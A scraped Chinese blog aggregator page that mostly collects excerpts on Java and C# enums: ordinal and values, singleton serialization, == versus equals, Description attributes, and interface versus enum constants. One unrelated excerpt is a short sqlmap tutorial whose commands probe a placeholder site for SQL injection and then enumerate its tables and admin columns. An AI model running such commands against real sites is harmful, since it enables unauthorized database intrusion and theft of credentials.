枚举类型

Enum枚举

扶醉桌前 提交于 2020-01-13 04:53:52
枚举 没想到一个小小的枚举,也有这么深的知识。 为了获取枚举上一个废弃标识注解,找遍了百科,坑死我了。 还好公司有大佬,破了难题。很奇怪他是怎么知道用getField的。 --一路追踪,原来一开始想的都是内部类,怎么得到实例对象,一开始就偏了。 终于明白了。故记下本次学习历程。再次明白了关键字搜索的重要性。 1、枚举基本介绍 参考博文:-- https://www.iteye.com/blog/whitesock-728934 https://wenku.baidu.com/view/5ddd914fb307e87100f69603.html https://www.cnblogs.com/draem0507/p/4110987.html 1) Enum声明了name()方法和oridinal()方法,分别用于返回枚举值的名称和该枚举值在枚举类型中声明的顺序(从0开始)。 2)单例的实现 序列化过程中写入流的只有name ;反序列化过程中通过调用Enum.valueOf(Class<T> enumType, String name)静态方法构造枚举值,从而保证了枚举值的单例性。 3)ENUM$VALUES:是个private static final的数组。在枚举类初始化的时候,会实例化所有的枚举对象然后按顺序放在这个数组中 2、枚举的反射 参考博文:- https://blog

Java编程思想---枚举类型

孤街醉人 提交于 2020-01-13 00:16:28
Java编程思想—枚举类型 基本enum特性 调用enum的values()方法,可以遍历enum实例,values方法返回enum实例数组,而且该数组中的元素严格保持在enum中声明时的顺序 public enum Shrubbery { GROUND, CRAWLING, HANGING } public class EnumClass { public static void main(String[] args) { for (Shrubbery s : Shrubbery.values()) { // ordinal方法返回一个int值 这是每个enum实例在声明时的次序 从 0 开始 System.out.println(s + "orginal " + s.ordinal()); System.out.println("_________________"); // enum类实现了Comparable接口 所以具有compareTo方法 System.out.println(s.compareTo(Shrubbery.CRAWLING ) + ""); System.out.println("_________________"); // 可以用 == 来比较enum实例 编译器会自动提供equal和hashcode方法 System.out.println(s =

比较java枚举成员使用equal还是==

自作多情 提交于 2020-01-12 09:15:43
每篇一句 编程直觉很重要,这个是需要慢慢培养的 答案是都可以,并且建议使用 == 相信初学者一定很疑惑,枚举本质是一个类,为什么比较还用 == 呢? 分析 如果你看过枚举的源码,你会发现在枚举源码中重写了equals方法,equals也仅仅非常简单的 == 。 我使用 == ,因为无论如何,这个左值是可以为 null的 public final boolean equals ( Object other ) { return this == other ; } JLS 8.9 Enums 一个枚举类型除了定义的那些枚举常量外没有其他实例了。 试图明确地说明一种枚举类型是会导致编译期异常。在枚举中final clone方法确保枚举常量从不会被克隆,而且序列化机制会确保从不会因为反序列化而创造复制的实例。枚举类型的反射实例化也是被禁止的。总之,以上内容确保了除了定义的枚举常量之外,没有枚举类型实例。 因为每个枚举常量只有一个实例,所以如果在比较两个参考值,至少有一个涉及到枚举常量时,允许使用“==”代替equals()。(equals()方法在枚举类中是一个final方法,在参数和返回结果时,很少调用父类的equals()方法,因此是一种恒等的比较。) 使用== 的好处 == 不会抛出 NullPointerException enum Color { BLACK , WHITE }

枚举类型详解

我怕爱的太早我们不能终老 提交于 2020-01-11 23:51:13
枚举类型详解 前一段时间,在工作中,技术前辈让我写一段关于数据统计的代码,其中涉及到枚举类的使用,正巧最近学到枚举类特此记录之 在以往设置常量,通常将常量放置在接口中,这样程序就可以直接使用,并且该常量不能被修改,因为在接口中定义常量时,常量的修饰符为final与static。 自从枚举类出现后,逐渐取代了这种常量的定义的方式。使用枚举类型定义常量的语法如下 public enum Constans{ constants_A, constants_B, constants_C, } 当然枚举类型也可以定义在类内部当中; 使用枚举类型有以下几点优势: 1、可以自动检测参数类型 2、当定义一个枚举类型时,每一个枚举类型的成员都可以看做枚举类型的一个实例 3、调用枚举类型成员非常方便,通常使用枚举类型名称.values(),就可以方便的调用。 4、运行效率较高。 来源: CSDN 作者: lizhd123 链接: https://blog.csdn.net/leadder/article/details/103941104

JNI中枚举类型作为参数

℡╲_俬逩灬. 提交于 2020-01-11 02:27:09
参考资料: 使用JNI进行Java与C/C++语言混合编程(1)--在Java中调用C/C++本地库       java native方法及JNI实例 JNI是Java Native Interface的英文缩写, 中文翻译为本地调用, 自从Java 1.1开始就成为了Java标准的一部分. C/C++是系统级的编程语言, 可以用来开发任何和系统相关的程序和类库, 但是Java本身编写底层的应用比较难实现, 使用JNI可以调用现有的本地库, 极大地灵活了Java的开发. C/C++的效率是目前最好的语言, 可以使用C/C++来实现一些实时性非常高的部分. C/C++和Java本身都是非常流行的编程语言, 一些大型软件中经常使用语言之间的混合编程. 鉴于目前网络上JNI的文章不是特别多, 我将自己的一些总结写在这里. 如有错漏, 欢迎指正! Java调用C/C++大概有这样几个步骤 编写带有native方法的Java类, 使用javac工具编译Java类 使用javah来生成与native方法对应的头文件 实现相应的头文件, 并编译为动态链接库(windows下是.dll, linux下是.so) 1.简单的JNI-HelloWorld 首先我们看一下: Linux下JNI技术使用的一个简单实例 首先,实现的是Java本地接口Hello.java,代码如下所示: class

枚举类型与位域枚举Enum

女生的网名这么多〃 提交于 2020-01-09 10:00:06
一、概述 定义一个值类型,其中包含固定值集合。枚举类型变量可以是此集合中的任意一个或多个值。 枚举使用enum关键字来声明,与类同级。 枚举本身可以有修饰符,但枚举的成员始终是公共的,不能有访问修饰符。枚举本身的修饰符仅能使用public和internal。 二、常数枚举 1、定义枚举类型 显式指定枚举的底层数据类型,如果没有明确指定底层数据类型则默认的数据类型是int类型。 enum sex : byte //显示指定枚举的底层数据类型 { male, female, //此逗号可以省略 };       //此分号可以省略 显式设置枚举的成员常量值,默认是从0开始,逐个递增的。但是以下例子却设置成了1,2,3,40,1。而且成员值可以一样的。 void Main() { Console.WriteLine((int)Week.Monday); //获取值 } enum Week { Monday = 1, Tuesday = 2, Wednesday = 3, Sunday = 0, Everyday = 1 //成员的值可以设置成一样的,但是成员不行 } 2、声明枚举变量并初始化 Color myColor=Color.White; Color myColor=(Color)1;//由值转成枚举成员 Color myColor=(Color)Enum.Parse(typeof

——Java高级应用

喜欢而已 提交于 2020-01-09 00:16:31
一、类加载   类加载是指将类的class文件读入内存,并为之创建一个java.lang.Class对象。系统可以在第一次使用某个类时加载该类,也可以采用预加载机制来加载某个类。   1、Class类     java.lang.Class类封装了一个对象和接口运行时的状态,当加载类时Class类型的对象将自动创建。Class类没有公共构造方法,其对象是JVM在加载类时通过调用   类加载器中的defineClass()方法自动构造,因此不能显示地实例化一个Class对象。     Class类的常用方法(记得填坑)     每个类被加载之后,系统都会为该类生成一个对应的Class对象,通过Class对象就可以访问到JVM中该类的信息。一旦类被载入JVM中,同一个类将不会被再次载入,   被载入JVM的类都有一个唯一表示,该表示是该类的全限定类名。     在Java程序中获取Class对象有如下三种方式: 1 //1、使用Class.forName()方法 2 Class strClass = Class.forName("java.lang.String"); 3 //2、使用类的class属性 4 Class<Float> fclass = Float.class; 5 //3、使用实例对象的getClass()方法 6 Date nowTime = new Date();

sqlmap注入使用方法

余生长醉 提交于 2020-01-08 09:45:33
【推荐】2019 Java 开发者跳槽指南.pdf(吐血整理) >>> 1.SQLMAP用于Access数据库注入 (1)猜解是否能注入 win: python sqlmap.py -u "http://www.xxx.com/en/CompHonorBig.asp?id=7" Linux : ./sqlmap.py -u "http://www.xxx.com/en/CompHonorBig.asp?id=7" (2)猜解表 win: python sqlmap.py -u "http://www.xxx.com/en/CompHonorBig.asp?id=7" --tables Linux: ./sqlmap.py -u "http://www.xxx.com/en/CompHonorBig.asp?id=7" --tables (3)根据猜解的表进行猜解表的字段(假如通过2得到了admin这个表) win: python sqlmap.py -u "http://www.xxx.com/en/CompHonorBig.asp?id=7" --columns -T admin Linux: ./sqlmap.py -u "http://www.xxx.com/en/CompHonorBig.asp?id=7" --columns -T admin (4)根据字段猜解内容

C#中枚举的使用

二次信任 提交于 2020-01-07 23:22:18
枚举大家都不陌生,但是最近看到有的人,还在是页面上写死,如果枚举增减时,还要去页面去手动修改,今天我们来看看枚举的处理方式,这里说一下,我用的测试程序是.net core 3.1。 不多墨迹,直接上代码: 定义枚举: using System; using System.Collections.Generic; using System.ComponentModel; using System.Text; namespace ConsoleApp1 { public enum Status { [Description("已删除")] Deleted = -1, [Description("未处理")] Init = 0, [Description("正常")] Normal = 1 } } 枚举的辅助类,这里说明一下,我是通过获取枚举上的特性来处理的: EnumUtil.cs using System; using System.Collections.Generic; using System.ComponentModel; using System.Reflection; using System.Runtime.Serialization; using System.Text; namespace ConsoleApp1 { public static class

接口常量、类常量、枚举类

♀尐吖头ヾ 提交于 2020-01-07 12:26:55
一 、分析 常量的声明是每一个项目中不可或缺的,在Java1.5之前,我们只有两种方式的声明:类常量和接口常量。不过,在1.5版之后有了改进,即新增了一种常量声明方式,枚举常量。代码如下: enum Season{ Spring,Summer,Autumn,Winter; } 二、场景 那么枚举常量与我们的经常使用的类常量和静态常量比有什么优势呢? 1.枚举常量更简单 先把Season枚举翻译成接口,代码如下: interface Season{ int Sprint = 0; int Summer = 1; int Autumn = 2; int Winter = 3; } 枚举只需要定义每个枚举项,不需要定义枚举值,而接口常量(或类常量)则必须定义值,否则编译通不过;两个引用的方式相同(都是“类名.属性”,如Season.Sprint),但是枚举表示的是一个枚举项,字面含义是春天,而接口常量却是 一个Int类型。 2.枚举常量属于稳态型 使用常量接口,我们得对输入值进行检查,确定是否越界,如果常量非常庞大,校验输入就是一件非常麻烦的事情,但这是一个不可逃避的过程。 接口常量 public interface ConstInterfaceA { public static final String CONST_A = "aa"; public static final